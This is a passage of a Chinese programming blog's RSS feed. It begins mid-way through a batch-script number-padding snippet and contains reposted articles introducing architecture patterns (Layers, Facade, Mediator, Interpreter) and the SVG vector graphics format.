<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;!Num!&nbsp;LSS&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">!StrPrefix!&nbsp;(<br></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">&nbsp;tempNum</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">!StrPrefix!!num!<br></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">&nbsp;tempNum</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">!tempNum:~</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">%Digit%!<br>)&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;(<br></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">&nbsp;tempNum</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">!Num!<br>)</span></div>
<br></div>
<img src ="http://www.cppblog.com/flyinghare/aggbug/108255.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2010-02-22 22:23 <a href="http://www.cppblog.com/flyinghare/archive/2010/02/22/108255.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件的架构与模式之经典架构模式简介</title><link>http://www.cppblog.com/flyinghare/archive/2010/01/05/104803.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Tue, 05 Jan 2010 02:46:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2010/01/05/104803.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/104803.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2010/01/05/104803.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/104803.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/104803.html</trackback:ping><description><![CDATA[<p>转自：<a href="http://dev.yesky.com/387/2012387.shtml">http://dev.yesky.com/387/2012387.shtml</a><br><br>　　根据<a class=bluekey href="http://www.yesky.com/key/4747/159747.html" target=_blank><font color=#204890>Linda</font></a> Rising的《Pattern Almanac》一书，已知的架构模式有七十多种。这是一个只多不少的统计，其中包括了很多通常认为是设计模式的模式，比如Bridge，Facade，Interpreter，Mediator等模式通常认为是设计模式，但是在许多情况下，也可以作为架构模式出现，因此也常常被当作架构模式。<br><br>　　<strong>Layers架构模式</strong><br><br>　　在<a class=bluekey href="http://www.yesky.com/key/4340/174340.html" target=_blank><font color=#204890>收集</font></a>到用户对软件的要求之后，架构设计就开始了。架构设计一个主要的目的，就是把系统划分成为很多"板块"。划分的方式通常有两种，一种是横向的划分，一种是纵向划分。<br><br>　　横向划分将系统按照商业目的划分。比如一个<a class=bluekey href="http://www.yesky.com/key/1561/136561.html" target=_blank><font color=#204890>书店</font></a>的管理系统可以划分成为进货、销售、<a class=bluekey href="http://www.yesky.com/key/633/165633.html" target=_blank><font color=#204890>库存</font></a>管理、员工管理等等。<br><br>　　纵向划分则不同，它按照<a class=bluekey href="http://www.yesky.com/key/4805/289805.html" target=_blank><font color=#204890>抽象</font></a>层次的高低，将系统划分成"层"，或叫Layer。比如一个公司的内网管理系统通常可以划分成为下面的几个Layer:<br><br>　　一、网页，也就是用户界面，负责显示数据、接受用户输入；<br><br>　　二、领域层，包括JavaBean或者COM对象、<a class=bluekey href="http://www.yesky.com/key/4672/134672.html" target=_blank><font color=#204890>B2B</font></a>服务等，封装了必要的商业<a class=bluekey href="http://www.yesky.com/key/3446/223446.html" target=_blank><font color=#204890>逻辑</font></a>，负责根据商业逻辑决定显示什么数据、以及如何根据用户输入的数据进行计算；<br><br>　　三、数据库，负责存储数据，按照查询要求提供所存储的数据。<br><br>　　四、操作系统层，比如Windows NT或者Solaris等<br><br>　　五、硬件层，比如SUN E450服务器等<br><br>　　有人把这种Layer叫做Tier，但是Tier多带有<a class=bluekey href="http://www.yesky.com/key/365/180365.html" target=_blank><font color=#204890>物理</font></a>含义，不同的Tier往往位于不同的计算机上，由网络连接起来，而Layer是纯粹逻辑的概念，与物理划分无关。 <br><br>　　Layers架构模式的好处是：<br><br>　　第一、任何一层的变化都可以很好地局限于这一层，而不会影响到其他各层。<br><br>　　第二、更容易容纳新的技术和变化。Layers架构模式容许任何一层变更所使用的技术<br><br>　　<strong>Fa?ade架构模式</strong><br><br>　　外部与一个子系统的通讯必须通过一个统一的门面（Facade）对象进行，这就是Facade模式。<br><br>　　现代的软件系统都是比较复杂的，设计模式的任务就是协助设计师处理复杂系统的设计。<br><br>　　设计师处理复杂系统的一个常见方法便是将其"分而治之"，把一个系统划分为几个较小的子系统。但是这样做了以后，设计师往往仍然会发现一个子系统内仍然有太多的类型要处理。而使用一个子系统的使用端往往只关注一些特定的功能，却要同时与子系统内部的许多对象打交道后才能达到目的，请见下面的对象图。<br><br>
<table width="90%" align=center border=0>
    <tbody>
        <tr>
            <td>
            <div align=center><img src="http://image.tianjimedia.com/imagelist/05/06/a87695fj2vm9.gif" border=0><br>图4、Facade架构模式的结构图。</div>
            </td>
        </tr>
    </tbody>
</table>
<br>　　这就是一种不便，它使得系统的逻辑变得不必要的复杂，维护成本提高，复用率降低。<br><br>　　用一个范例说明，中国<a class=bluekey href="http://www.yesky.com/key/3161/168161.html" target=_blank><font color=#204890>大陆</font></a>的<a class=bluekey href="http://www.yesky.com/key/3390/138390.html" target=_blank><font color=#204890>医院</font></a>便是一个子系统，按照部门职能，这个系统可以划分为挂号、门诊、划价、化验、收银、取药等。看病的病人要与这些部门打交道，就如同一个子系统的使用端与一个子系统的各个类型打交道一样，不是一件容易的事情。<br><br>　　首先病人必须先挂号，然后门诊。如果医生要求化验，病人必须首先划价，然后缴款，才能到化验部门做化验。化验后，再回到门诊室，请见下面的对象图。<br><br>
<table width="90%" align=center border=0>
    <tbody>
        <tr>
            <td>
            <div align=center><img src="http://image.tianjimedia.com/imagelist/05/06/ho315ggk8hk0.jpg" border=0><br>图5、描述病人在医院里的体验。图中的方框代表医院。 </div>
            </td>
        </tr>
    </tbody>
</table>
<br>　　解决这种不便的方法便是引进Facade模式。仍然通过医院的范例说明，可以设置一个接待员的位置，由接待员负责代为挂号、划价、缴费、取药等。这个接待员就是Facade模式的体现，病人只接触接待员，由接待员负责与医院的各个部门打交道，请见下面的对象图。<br><br>
<table width="90%" align=center border=0>
    <tbody>
        <tr>
            <td>
            <div align=center><img src="http://image.tianjimedia.com/imagelist/05/06/631z3q347q41.jpg" border=0><br>图6、描述经过Facade模式的<a class=bluekey href="http://www.yesky.com/key/3989/148989.html" target=_blank><font color=#204890>改装</font></a>后，病人在医院里的体验。图中的方框代表医院。</div>
            </td>
        </tr>
    </tbody>
</table>
<br>　　Facade模式要求一个子系统的外部与其内部的通讯必须通过一个统一的门面（Facade）对象进行。Facade模式提供一个<a class=bluekey href="http://www.yesky.com/key/4920/184920.html" target=_blank><font color=#204890>高等</font></a>级的接口，使得子系统更易于使用。<br><br>　　使用了Facade模式之后，本章的第一个图中所描述的一个子系统的使用端对象所面对的复杂关系就可以简化为下面这个样子。 <br><br>
<table width="90%" align=center border=0>
    <tbody>
        <tr>
            <td>
            <div align=center><img src="http://image.tianjimedia.com/imagelist/05/06/4j1k41qbnf7h.gif" border=0><br>图7、Facade架构模式的结构图</div>
            </td>
        </tr>
    </tbody>
</table>
<br>　　描述经过Facade模式的改装后，一个子系统的使用端与子系统的关系。图中的大方框代表一个子系统。<br><br>　　就如同医院的接待员一样，Facade模式的门面类型将使用端与子系统的内部复杂性分隔开，使得使用端只需要与门面对象打交道，而不需要与子系统内部的很多对象打交道。<br><br>　　<strong>Mediator架构模式</strong><br><br>　　Mediator模式包装了一系列对象相互作用的方式，使得这些对象不必互相明显参照；从而使它们可以较松散地耦合。当这些对象中的某些对象之间的相互作用发生改变时，不会立即影响到其它的一些对象之间的相互作用；从而可以保证这些相互作用可以彼此独立地变化。 <br><br>　　在下面的示意图中有大量的对象，这些对象既会影响别的对象，又会被别的对象所影响，因此常常叫做同事（Colleague）对象。这些同事对象通过彼此的相互作用形成系统的行为。从图中可以看出，几乎每一个对象都需要与其它的对象发生相互作用，而这种相互作用表现为一个对象与另一个对象的直接耦合。<br><br>
<table width="90%" align=center border=0>
    <tbody>
        <tr>
            <td>
            <div align=center><img src="http://image.tianjimedia.com/imagelist/05/06/u3xb76t989n9.gif" border=0><br>图8、这是一个过度耦合的系统</div>
            </td>
        </tr>
    </tbody>
</table>
<br>　　通过引入调停者对象（Mediator），可以将系统的网状结构变成以中介者为中心的星形结构，如下图所示。在这个星形结构中，同事对象不再通过直接的联系与另一个对象发生相互作用；相反地，它通过调停者对象与另一个对象发生相互作用。调停者对象的存在保证了对象结构上的稳定，也就是说，系统的结构不会因为新对象的引入造成大量的修改工作。 <br><br>
<table width="90%" align=center border=0>
    <tbody>
        <tr>
            <td>
            <div align=center><img src="http://image.tianjimedia.com/imagelist/05/06/ty1x3qa272mo.gif" border=0><br>图9、这是一个使用了Mediator架构模式之后的结构图</div>
            </td>
        </tr>
    </tbody>
</table>
<br>　　比较传统的设计方法，面向对象的技术可以更好地协助设计师管理更为复杂的系统。一个好的面向对象的设计可以使对象之间增加协作性（Collaboration），减少耦合度（<a class=bluekey href="http://www.yesky.com/key/2395/162395.html" target=_blank><font color=#204890>Coupling</font></a>）。一个深思熟虑的设计会把一个系统分解为一群相互协作的同事对象，然后给每一个同事对象以独特的责任，恰当的配置它们之间的协作关系，使它们可以在一起工作。<br><br>　　在Mediator模式中，所有的成员对象都可以协调工作，但是又不直接相互管理。这些对象都与一个处于中心地位的调停者对象发生紧密的关系，由这个调停者对象进行协调工作。这个协调者对象叫做调停者（Mediator），而调停者所协调的成员对象称做同事（Colleague）对象。<br><br>　　<a class=bluekey href="http://www.yesky.com/key/193/200193.html" target=_blank><font color=#204890>在C</font></a>olleague对象内部发生的事件会影响到所有的同事，但是这种影响不是以直接管理的方式直接传到其它的对象上的。记住在小组的成员增加时，这样的相互作用关系是以比指数更快的方式增加的。相反，这种影响仅仅直接影响到调停者对象，而调停者对象反过来会协调其它的同事，形成整个系统的行为。<br><br>　　如果小组的成员增加时，调停者对象可能会面临修改，而其它的同事则可以装做不知道这个新的成员一样，不必修改。反过来，如果小组的成员之一被从系统中删除的话，调停者对象需要对此做出修改，而小组中其它的同事则不必改动。<br><br>　　<strong>Interpreter架构模式</strong><br><br>　　给定一个语言之后，Interpreter模式可以定义出其文法的一种表示，并同时提供一个直译器；使用端可以使用这个直译器来解释这个语言中的句子。<br><br>　　如果某一类型问题一再地发生的话，那么一个有意义的做法就是将此类型问题的各个实例表达为一个简单语言中的语句。这样就可以建造一个直译器，通过解释这些语句达到解决问题的目的。<br><br>　　例如，依照一个匹配模式搜寻字符串便是一个常见的问题。与其为每一个匹配模式建造一个特定的算法，不如建造一个一般性的算法处理各种常规表达式。当接到一个指定的常规表达式时，系统使用一个直译器解释这个常规表达式，从而对字符串进行匹配。<br><br>　　再比如<a class=bluekey href="http://www.yesky.com/key/1069/136069.html" target=_blank><font color=#204890>VBA</font></a>（Visual <a class=bluekey href="http://www.yesky.com/key/2906/137906.html" target=_blank><font color=#204890>Basic</font></a> for Applications）就不仅仅出现在微软的Office系列软件中，并且可以供第三<a class=bluekey href="http://www.yesky.com/key/2945/157945.html" target=_blank><font color=#204890>厂家</font></a>出产的软件嵌入使用；Crystal <a class=bluekey href="http://www.yesky.com/key/920/165920.html" target=_blank><font color=#204890>Reports</font></a>报表生成软件也包括了一个便于使用的宏语言，使用户可以执行较为复杂的命令操作。一般而言，将VBA或者其它的语言软件嵌入到自己的<a class=bluekey href="http://www.yesky.com/key/3887/173887.html" target=_blank><font color=#204890>软件产品</font></a>中，可以使产品定制化（Customization）能力大大增强，但是这些宏语言引擎往往都很昂贵。<br><br>　　现在要介绍的Interpreter模式将描述怎样在有了一个简单的文法后，使用模式设计解释这些语句。熟悉了这个模式以后，一个没有接收过形式语言和编译器的正规训练的设计师也可以自行设计一个简单的直译器，以便为使用端提供一个简单语言，或者在系统内部使用一个简单语言描述一个合适的问题。<br><br>　　<strong>语言、直译器和剖析器</strong><br><br>　　Interpreter模式只描述直译器是怎样工作的，并不指明怎样在执行时创建新的直译器。虽然广义地讲直译器不一定要有一个剖析器（Parser），但是使用剖析器仍然是最常见的建立直译器的办法。一个剖析器可以从一个档或命令行读入文字性命令，并创建直译器。<br>剖析器是一种能够识别文字并将文字按照一定规则进行分解以便进一步处理的对象。剖析器能够识别的字符串叫做语言。通常建立的小型计算机语言是与环境无关的语言，也就是遵循一定的文法的文字模式，所谓文法，便是决定怎样将语言的元素组合起来的规则的集合。剖析器便是根据组合规则将字符串分解的。<br><br>　　抽象地讲，语言并不一定是以字符串的形式表达的。在Interpreter模式里面所提到的语言是指任何直译器对象能够解释的任何组合。在Interpreter模式中，需要定义一个代表文法的命令类型的等级结构，也就是一系列的组合规则；每一个命令对象都有一个解释方法，代表对命令对象的解释。<br><br>　　命令对象的等级结构中的对象的任何排列组合都是一个语言，而剖析器的工作便是将一个文字性语言翻译成为等效的直译器语言。因此，直译器往往需要剖析器。<br><br>　　<strong>认识Jack吗</strong>？<br><br>　　剖析器生成器（Parser Generator），常常称为编译器的编译器（Compiler Complier）。Sun Microsystem提供一个专为Java程序员发明的强大的剖析器生成器，最初叫做Jack，后来改名为JavaCC。<br><br>　　要使用JavaCC，必须使用它提供的脚本语言<a class=bluekey href="http://www.yesky.com/key/4285/189285.html" target=_blank><font color=#204890>编写</font></a>一个脚本，然后执行JavaCC生成Java源代码。这生成的源代码就是所需的剖析器。现在Sun已经不再负责JavaCC的研发，对JavaCC感兴趣的读者可以从http://www.experimentalstuff.com/Technologies/JavaCC得到免费的JavaCC和相关数据。<br><br>　　JavaCC最早命名为Jack是为了与一个早就广泛使用的剖析器生成器YACC谐音。如果读者已经熟悉了YACC，可以使用YACC达到同样的目的；只是相比之下JavaCC更容易得到Java程序员的喜爱。<br><!--文章页底部广告开始--><br></p>
<img src ="http://www.cppblog.com/flyinghare/aggbug/104803.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2010-01-05 10:46 <a href="http://www.cppblog.com/flyinghare/archive/2010/01/05/104803.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是SVG(可升级矢量图形)</title><link>http://www.cppblog.com/flyinghare/archive/2009/10/28/99650.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Wed, 28 Oct 2009 04:59:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2009/10/28/99650.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/99650.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2009/10/28/99650.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/99650.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/99650.html</trackback:ping><description><![CDATA[转自：<a href="http://www.souzz.net/html/svg/1/33990.html">http://www.souzz.net/html/svg/1/33990.html</a><br>W3C文档：<a href="http://www.w3.org/TR/SVG11/">http://www.w3.org/TR/SVG11/</a><br>中文教程：<a href="http://www.w3school.com.cn/svg/index.asp">http://www.w3school.com.cn/svg/index.asp</a><br><br>
<ul>
    <li>SVG概述 </li>
</ul>
<p>　　SVG是一种采用XML来描述二维图形的语言。SVG可以构造三种类型的图形对象：矢量图形、位图图象和文字。图形对象可以被组化、样式化、变形和重新组合，包括图象嵌套、变形处理、剪辑路径、Alpha蒙板、滤镜特效和模板对象。<br>　　SVG图形可以是动态的、可交互性的。动画通过直接声明（比如在SVG里嵌入SVG动画元素）或通过脚本来进行定义或触发。<br>　　SVG通过使用脚本语言来完成比较复杂的应用，脚本语言调用SVG对象模型(SVG Document Object Model)来访问或控制所有的元素、属性和属性值。事件处理器如onmouseover、onclick等可以应用到SVG图形对象上，由于SVG和其它Web标准完全兼容和同步，如XML，CSS2，XSLT，DOM2，SMIL，XLINK，HTML等。因此，在同一Web页面上，有些特性，如脚本编程等，可以同时应用在XHTML和SVG元素上。<br>　　SVG不但可以表现图象，还可以表现文字、音频等其它信息，对于那些有视觉障碍的人，可以通过可替换的方法把图象替换为音频信息，这样对那些有视觉障碍的人，也能够得到SVG所表现的信息。另外，对那些手持设备、车载设备、无线设备来说，它们的屏幕一般都比较小，而且显示分辨率低，SVG的矢量特性也可以让这些设备清楚地浏览SVG图象信息，这都是目前的位图图象所不能做到的。</p>
<p>&nbsp;</p>
<ul>
    <li>SVG是什么 </li>
</ul>
<p>　　SVG是可升级矢量图形（Scalable Vector Graphics）的简称。<br>　　可升级（Scalable）意味着统一地增加或减少。对图象来说，可升级意味着图象尺寸并不限定固定的大小，对互连网（Web）来说，可升级意味着一个特殊的技术，它能够增加文件数量、用户数量和应用的种类。SVG作为Web上的一个技术之一，可升级含有这两方面的意思。<br>　　SVG图象可升级到不同的显示的分辨率，例如：相同尺寸的SVG图象，打印输出使用高分辨率，而在屏幕显示时可以使用不同的分辨率。同一个SVG图象能够以不同的尺寸放到同一页面上，也可以被不同的其它页面所使用。我们可以放大一个SVG图象，来了解其精美的细节信息。<br>　　SVG是可升级的，原因还在于：同一段SVG内容，既可以是独立的图象，也可以被引用到一个页面，也可以嵌入到另外的SVG图象中。因此，一个复杂的SVG图象可以有多部分组成，也可以由多人共同完成。符号、标记、字体能够重复利用图形的某些组成部分，这样可以充分利用HTTP的缓存优势。<br>　　矢量图象包含有诸如直线和曲线等几何对象。这相对于以象素保存信息的位图格式的图象（如PNG、JPEG）来说有更大的灵活性。矢量格式图象的最大好处就是，它可以和位图图象集成在一起，也可以把他们和矢量信息结合在一起以产生更加完美的图象。SVG也不例外。<br>　　由于所有的显示器都是基于点阵的，位图图象和矢量图象的差别就归结为他们是在客户端还是在服务器端进行图象展现处理；SVG能够控制图象展现的过程，不致于出现粗糙或带锯齿的图象。SVG还能够提供客户端的滤镜效果。<br>　　大多数XML语法描绘的都是文字信息或原始数据，他们不能提供图象的能力，SVG能够提供丰富的、结构化的矢量和矢量与图象混合的图象信息。<br>　　XML是W3C的推荐标准，用于结构化的信息交换，已经得到广泛的普及和应用。SVG是建立在此基础上的，有很明显的优势，比如：广泛的国际化基础，强大的结构化能力，以及对象模型等。 <br>　　样式单能够很好地控制文字的外在表现方式,它的灵活性、快速下载和易于维护的特性早已被人们接受，SVG把这种技术扩展到了图象世界中。脚本编程、DOM对象和CSS样式单的组合常被人们称作Dynamic 　　HTML，广泛应用在动画制作、交互性和外在的表现效果中，SVG也可以借助脚本语言进行操纵文档对象和样式单。</p>
<p>&nbsp;</p>
<ul>
    <li>SVG的图形对象 </li>
</ul>
<p>　　使用XML，可以很方便地建立模型。对文本格式的语法来说，模型通常是建立在段落级和短语级，而不是在独立的名词、副词或者是音素上。SVG是在图形对象级建立图象模型而不是独立的许多点。<br>　　SVG提供了一个通用的path元素，可以用来创建各种类型的图形对象，但同时也提供了一些基本的形状元素如矩形和椭圆等，这些基本形状对编写代码是非常方便的，也可以应用在复杂的路径描绘中。SVG提供对坐标系统的精确控制，图象对象的定义和变换都是在这个坐标系统之中。</p>
<p>　　<strong>SVG中的符号</strong><br>　　SVG也能够提供一些象电子、绘画和流程图等使用的标准符号，但目前的版本并没有提供这些。SVG允许用户创建和共享他们的符号库，设计者能够清楚地知道他们使用的符号的外在表现，而不必担心那些不支持的符号。符号也可以以不同的尺寸和角度使用，也可以为了达到与其他的图形对象相互组合而进行重新定义样式。<br></p>
<p><strong>　　SVG的展现效果</strong><br>　　许多Web中使用的图象都是依靠图形工具包来创建模糊、阴影、光线等效果的，要在客户端展现这些效果是不可思义的。SVG可以单独地或以组合的方式对滤镜效果进行描述，这些效果可以用在客户端，当SVG图象展现的时候展现这些效果，而图象仍可以以图象的分辨率的进行缩放和显示。<br></p>
<p>　　<strong> SVG的文字</strong><br>　　丰富的图形效果有时候会在很大程度上依赖于所使用的特定的文字和文字间距。大多数情况下，图象设计者为了防止图象上的被别人替换，往往会把文字转换成图象，原来的文字也就变成了不可搜索和访问的了。SVG的标准制定者在听取了设计者们的意见后，在SVG中保留了文字元素，这样，文字和图象都被分别进行展现。</p>
<p>　　<strong>SVG的动画</strong><br>　　动画可以通过脚本语言操纵文档中元素来实现，但脚本的编辑和交换通常很麻烦。SVG和SYMM工作组经过集思广益，共同在SVG中定义了动画元素，这样，在网页图形中常用的动画效果就可以在SVG中使用。</p>
<img src ="http://www.cppblog.com/flyinghare/aggbug/99650.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2009-10-28 12:59 <a href="http://www.cppblog.com/flyinghare/archive/2009/10/28/99650.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>